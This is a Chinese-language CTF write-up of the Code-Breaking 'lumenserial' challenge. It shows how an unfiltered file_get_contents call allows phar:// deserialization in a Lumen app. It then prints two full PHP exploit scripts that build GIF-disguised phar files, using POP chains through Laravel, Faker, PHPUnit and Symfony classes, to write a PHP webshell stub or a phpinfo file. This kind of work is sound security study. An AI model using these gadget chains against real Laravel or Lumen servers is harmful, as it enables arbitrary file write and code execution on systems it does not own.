Code-Breaking lumenserial
2019-03-08 11:08:58

在安全客看到了两篇文章PHP反序列化入门之寻找POP链(一)PHP反序列化入门之寻找POP链(二),之前没有来得及仔细看p牛出的这道lumenserial,所以这里跟着文章的思路审一下。

任意反序列化

查看路由 /routers/web.php

1
2
3
4
5
6
7
8
9
10
<?php
use Illuminate\Http\Request;
use Symfony\Component\HttpFoundation\File\File;

$router->get('/', function (Request $request) use ($router) {
return view('index');
});

$router->get('/server/editor', 'EditorController@main');
$router->post('/server/editor', 'EditorController@main');

跟进EditorController,download方法中$url未经过过滤直接传入file_get_contents,查看$url来源,如果我们可控,则我们可以利用phar://来任意反序列化。

1
2
3
4
5
6
7
8
9
10
11
12
private function download($url)
{
$maxSize = $this->config['catcherMaxSize'];
$limitExtension = array_map(function ($ext) {
return ltrim($ext, '.');
}, $this->config['catcherAllowFiles']);
$allowTypes = array_map(function ($ext) {
return "image/{$ext}";
}, $limitExtension);

$content = file_get_contents($url);
$img = getimagesizefromstring($content);

查看$url如何传入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
function __construct()
{
$config_filename = app()->basePath('resources/editor/config.json');
$this->config = json_decode(preg_replace("/\/\*[\s\S]+?\*\//", "", file_get_contents($config_filename)), true);
}
protected function doCatchimage(Request $request)
{
$sources = $request->input($this->config['catcherFieldName']);
$rets = [];

if ($sources) {
foreach ($sources as $url) {
$rets[] = $this->download($url);
}
}

return response()->json([
'state' => 'SUCCESS',
'list' => $rets
]);
}

$url$sources获得,$sources我们可控,查看$this->config['catcherFieldName']image.png 因此只要请求一个source参数即可控制$url,接下来就是寻找popchain。 由于这里环境为php7.2.12,且disable_function过滤了各种危险函数。因此我们需要找到其他利用点,例如call_user_func_array('file_put_contents',array('smi1e.php','123'))

POP Chain 1

首先要寻找寻找__wakeup 或者 __destruct。在phpggc 里面所有的Laravel/RCE 都是利用的\Illuminate\Broadcasting\PendingBroadcast::__destruct()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

namespace Illuminate\Broadcasting;

use Illuminate\Contracts\Events\Dispatcher;

class PendingBroadcast
{
protected $events;
protected $event;

public function __construct(Dispatcher $events, $event)
{
$this->event = $event;
$this->events = $events;
}

public function __destruct()
{
$this->events->dispatch($this->event);
}
}

$event$event可控,因此要么我们控制$this->events触发__call方法,要么寻找带有dispatch方法的类。 发现/vender/fzaninotto/faker/src/Faker/ValidGenerator.php中的__call方法比较好用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
class ValidGenerator
{
protected $generator;
protected $validator;
protected $maxRetries;

public function __construct(Generator $generator, $validator = null, $maxRetries = 10000)
{
if (is_null($validator)) {
$validator = function () {
return true;
};
} elseif (!is_callable($validator)) {
throw new \InvalidArgumentException('valid() only accepts callables as first argument');
}
$this->generator = $generator;
$this->validator = $validator;
$this->maxRetries = $maxRetries;
}
public function __call($name, $arguments)
{
$i = 0;
do {
$res = call_user_func_array(array($this->generator, $name), $arguments);
$i++;
if ($i > $this->maxRetries) {
throw new \OverflowException(sprintf('Maximum retries of %d reached without finding a valid value', $this->maxRetries));
}
} while (!call_user_func($this->validator, $res));

return $res;
}
}

可以看到call_user_func_array的结果传入了call_user_func,而$this->validator我们可控,因此只要我们可以控制call_user_func_array的返回结果,则可以执行任意类的方法。 接下来就是找一个可以控制返回结果的类 /vender/fzaninotto/faker/src/Faker/DefaultGenerator.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

namespace Faker;
class DefaultGenerator
{
protected $default;

public function __construct($default = null)
{
$this->default = $default;
}

public function __get($attribute)
{
return $this->default;
}

public function __call($method, $attributes)
{
return $this->default;
}
}

现在call_user_func($this->validator, $res)两个参数都可控,但是执行file_put_contents需要两个参数,因此我们需要再找到一个类中有call_user_func_array函数,且参数可控的方法。 /phpunit/phpunit/src/MockObject/Stub/ReturnCallback.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
namespace PHPUnit\Framework\MockObject\Stub;

use PHPUnit\Framework\MockObject\Invocation;
use PHPUnit\Framework\MockObject\Stub;

class ReturnCallback implements Stub
{
private $callback;

public function __construct($callback)
{
$this->callback = $callback;
}

public function invoke(Invocation $invocation)
{
return \call_user_func_array($this->callback, $invocation->getParameters());
}
.....
}

Invocation是一个接口,查找其实现的代码。 /phpunit/phpunit/src/MockObject/Invocation/Invocation.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
namespace PHPUnit\Framework\MockObject;

/**
* Interface for invocations.
*/
interface Invocation
{
/**
* @return mixed mocked return value
*/
public function generateReturnValue();

public function getClassName(): string;

public function getMethodName(): string;

public function getParameters(): array;

public function getReturnType(): string;

public function isReturnTypeNullable(): bool;
}

/phpunit/phpunit/src/MockObject/Invocation/StaticInvocation.php

1
2
3
4
5
6
7
8
9
10
11
12
13
class StaticInvocation implements Invocation, SelfDescribing
{
public function __construct($className, $methodName, array $parameters, $returnType, $cloneObjects = false)
{
$this->className = $className;
$this->methodName = $methodName;
$this->parameters = $parameters;
.....
}
public function getParameters(): array
{
return $this->parameters;
}

$invocation->getParameters()的返回值可控。因此我们可以完全控制call_user_func_array($this->callback, $invocation->getParameters())中的参数。 exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
<?php
namespace Illuminate\Broadcasting{
class PendingBroadcast
{
protected $events;
protected $event;
public function __construct($events, $event)
{
$this->events = $events;
$this->event = $event;
}
}
};

namespace Faker{
class DefaultGenerator
{
protected $default;
public function __construct($default = null)
{
$this->default = $default;
}
}

class ValidGenerator
{
protected $generator;
protected $validator;
protected $maxRetries;
public function __construct($generator, $validator = null, $maxRetries = 10000)
{
$this->generator = $generator;
$this->validator = $validator;
$this->maxRetries = $maxRetries;
}
}
};

namespace PHPUnit\Framework\MockObject\Stub{
class ReturnCallback
{
private $callback;
public function __construct($callback)
{
$this->callback = $callback;
}
}
};

namespace PHPUnit\Framework\MockObject\Invocation{
class StaticInvocation
{
private $parameters;
public function __construct($parameters)
{
$this->parameters = $parameters;
}
}
};

namespace{
$function='file_put_contents';
$parameters=array('/var/www/html/smi1e.php','<?php $_POST[\'1\'];?>');
$invocation=new PHPUnit\Framework\MockObject\Invocation\StaticInvocation($parameters);
$return=new PHPUnit\Framework\MockObject\Stub\ReturnCallback($function);
$default=new Faker\DefaultGenerator($invocation);
$valid=new Faker\ValidGenerator($default,array($return,'invoke'),100);
$obj=new Illuminate\Broadcasting\PendingBroadcast($valid,1);
$o = $obj;
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
};

?>

image.png ps:这里/var/www/html目录无写权限,需要写到upload目录下。懒得改payload了,我进容器改了下权限,2333。 image.png

POP Chain 2

这个链的核心是/vender/fzaninotto/faker/src/Faker/Generator.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
class Generator
{
protected $providers = array();
protected $formatters = array();

public function __call($method, $attributes)
{
return $this->format($method, $attributes);
}

public function format($formatter, $arguments = array())
{
return call_user_func_array($this->getFormatter($formatter), $arguments);
}

public function getFormatter($formatter)
{
if (isset($this->formatters[$formatter])) {
return $this->formatters[$formatter];
}
foreach ($this->providers as $provider) {
if (method_exists($provider, $formatter)) {
$this->formatters[$formatter] = array($provider, $formatter);

return $this->formatters[$formatter];
}
}
throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
}

}

call_user_func_array可以看到call_user_func_array的两个参数完全可控,因此我们只要找到方法中存在形如this->$object->$method($arg1,$arg2)且4个参数均可控的地方,就可以利用这个 Generator 类的 __call 方法,最终执行call_user_func_array('file_put_contents',array('1.php','123'))/vendor/symfony/event-dispatcher/Debug/TracebleEventDispatcher.php中的dispatch方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
class TraceableEventDispatcher implements TraceableEventDispatcherInterface
{
public function dispatch($eventName, Event $event = null)
{
if (null === $event) {
$event = new Event();
}

if (null !== $this->logger && $event->isPropagationStopped()) {
$this->logger->debug(sprintf('The "%s" event is already stopped. No listeners have been called.', $eventName));
}

$this->preProcess($eventName);
......
}

跟进preProcess方法 image.png 可以看到这里有我们想要的this->$object->$method($arg1,$arg2),且前三个参数都可控,第四个参数我们也可以想办法控制,但是跟进前面的$this->getListenerPriority会发现该方法也有我们想要的东西,这样就更好了。 image.png 但前提是我们要绕过这个if条件,我们需要让$this->dispatcher->hasListeners($eventName)返回为True。

1
2
3
4
5
if (!$this->dispatcher->hasListeners($eventName)) {
$this->orphanedEvents[] = $eventName;

return;
}

我们可以继续利用开头说到的这个POP链的核心类/vender/fzaninotto/faker/src/Faker/Generator.php,令$formatters['hasListeners']等于一个能够把$eventName做为参数且返回True的函数即可,而$eventName其实是需要写的文件路径。因此用strlen函数即可。 继续跟进foreach条件,我们需要控制$this->dispatcher->getListeners($eventName)的返回结果进而才能控制$listener,搜索可利用的getListeners方法。 /vender/illuminate/events/Dispatcher.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
class Dispatcher implements DispatcherContract
{
protected $listeners = [];

public function getListeners($eventName)
{
$listeners = $this->listeners[$eventName] ?? [];

$listeners = array_merge(
$listeners,
$this->wildcardsCache[$eventName] ?? $this->getWildcardListeners($eventName)
);

return class_exists($eventName, false)
? $this->addInterfaceListeners($eventName, $listeners)
: $listeners;
}
}

可以发现$listeners很容易被控制,从而我们可以控制返回结果。现在我们可以控制$this->dispatcher->getListenerPriority($eventName, $listener)所有参数,然后再次利用开头所说的核心类/vender/fzaninotto/faker/src/Faker/Generator.php执行call_user_func_array($this->getFormatter($formatter), $arguments);,参数完全可控,从而执行call_user_func_array('file_put_contents',array('1.php','123'))。 第二个POP链看着wp都构造不出来,看懵逼了。。。找到这个链的师傅太强了,Orz! exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
<?php
namespace Illuminate\Events{
class Dispatcher
{
protected $listeners = [];
protected $wildcardsCache = [];

public function __construct($parameter){
$this->listeners[$parameter['filename']] = array($parameter['contents']);
}
}

};

namespace Faker{
class Generator
{
protected $providers = array();
protected $formatters = array();

public function __construct($providers,$formatters){
$this->formatters = $formatters;
$this->providers = $providers;
}
}

};

namespace Symfony\Component\EventDispatcher\Debug{
class TraceableEventDispatcher{
private $dispatcher;

public function __construct($dispatcher){
$this->dispatcher = $dispatcher;
}
}
};

namespace Illuminate\Broadcasting{
class PendingBroadcast{
protected $events;
protected $event;

public function __construct($events, $parameter){
$this->events = $events;
$this->event = $parameter['filename'];
}
}
};

namespace{
$function='file_put_contents';
$paramters=array('filename'=>'/var/www/html/upload/1.php','contents'=>'<? phpinfo();?>');

$dispatcher = new Illuminate\Events\Dispatcher($paramters);
$generator = new Faker\Generator([$dispatcher],['hasListeners'=>'strlen','getListenerPriority'=>$function]);
$trace = new Symfony\Component\EventDispatcher\Debug\TraceableEventDispatcher($generator);
$obj =new Illuminate\Broadcasting\PendingBroadcast($trace,$paramters);
$o = $obj;

@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
};

?>

这次我直接写进了upload目录,没有更改容器权限。 image.png